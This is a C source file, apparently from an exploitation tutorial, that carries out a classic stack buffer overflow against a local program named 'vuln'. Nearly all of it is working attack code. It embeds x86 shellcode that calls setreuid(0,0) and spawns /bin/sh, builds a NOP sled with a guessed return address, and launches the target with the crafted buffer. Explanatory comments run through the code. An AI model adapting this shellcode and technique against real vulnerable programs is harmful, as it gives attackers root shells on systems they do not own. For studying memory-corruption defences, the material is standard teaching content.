#include char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" "\x68"; unsigned long sp(void) // This is just a little function { __asm__("movl %esp, %eax");} // used to return the stack pointer int main(int argc, char *argv[]) { int i, offset; long esp, ret, *addr_ptr; char *buffer, *ptr; offset = 0; // Use an offset of 0 esp = sp(); // Put the current stack pointer into esp ret = esp - offset; // We want to overwrite the ret address printf("Stack pointer (ESP) : 0x%x\n", esp); printf(" Offset from ESP : 0x%x\n", offset); printf("Desired Return Addr : 0x%x\n", ret); // Allocate 600 bytes for buffer (on the heap) buffer = malloc(600); // Fill the entire buffer with the desired ret address ptr = buffer; addr_ptr = (long *) ptr; for(i=0; i < 600; i+=4) { *(addr_ptr++) = ret; } // Fill the first 200 bytes of the buffer with NOP instructions for(i=0; i < 200; i++) { buffer[i] = '\x90'; } // Put the shellcode after the NOP sled ptr = buffer + 200; for(i=0; i < strlen(shellcode); i++) { *(ptr++) = shellcode[i]; } // End the string buffer[600-1] = 0; // Now call the program ./vuln with our crafted buffer as its argument execl("./vuln", "vuln", buffer, 0); // Free the buffer memory free(buffer); return 0; }